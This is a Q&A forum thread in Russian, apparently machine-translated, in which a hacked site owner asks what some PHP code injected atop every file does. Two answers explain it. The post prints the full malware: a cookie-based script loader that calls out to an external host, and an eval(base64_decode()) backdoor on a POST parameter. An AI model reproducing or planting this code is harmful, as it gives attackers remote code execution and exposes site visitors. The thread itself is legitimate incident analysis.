Got Hacked - Кто-нибудь знает, что делает этот PHP-код?

Наш сервер был взломан через некоторый метод SQL Injection (теперь исправлен). Все наши файлы PHP получили это добавление в самый верх каждого файла.

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if([email protected]$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if([email protected]_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if([email protected]_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"][email protected]$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

Кажется, что установлен файл cookie, но у меня нет первой идеи, что он делает.

Любые эксперты, способные понять, что это делает, и потенциально то, что созданное имя cookie может выглядеть так, я могу сказать всем пользователям и т.д.

UPDATE Видимо, эксплойт произошел из-за плагина в программном обеспечении Zenphoto Gallery под названием Tiny_MCE.

Ответ 1

Сначала он устанавливает cookie. (с именем lb11) до значения 102.

Если он (позже?) находит файл cookie, он устанавливает cookie в случайное значение между 1000 и 9000, так что он не делает этого снова: имеет ли пользователь запросить (и выполнить) javascript, который отправляет тот, который заражен URL-адрес сделал вызов, а затем обновил страницу (так что ничего не появляется произошли после запуска javascript.

Но в любом случае, если параметр "showimg" передается на страницу, это просматривает содержимое этой страницы и выполняет ее на сервере.

Итак, если этот код присутствует, он запустит javascript (который также сообщает серверу, на каком URL-адрес заражен, а затем пусть человек запускает произвольный код (через параметр showimg) на зараженном сервере.

У этого есть 2 уровня атак, он может атаковать клиента с помощью javascript и может позже атаковать сервер и запускать на нем произвольный код.

Ответ 2

Я могу ошибаться здесь, но из его взглядов (без проверки ссылок в коде); он может попытаться внедрить некоторый javascript на стороне клиента, который может быть вредоносным. Это обычно заражает компьютер посетителей вредоносным ПО и т.д.

Что касается имени файла cookie. Я хочу, чтобы ваши посетители удалили все файлы cookie для вашего домена, но из их взглядов куки файл называется "lb11"

Мне не нравилось смотреть ссылки, как вы можете понять;)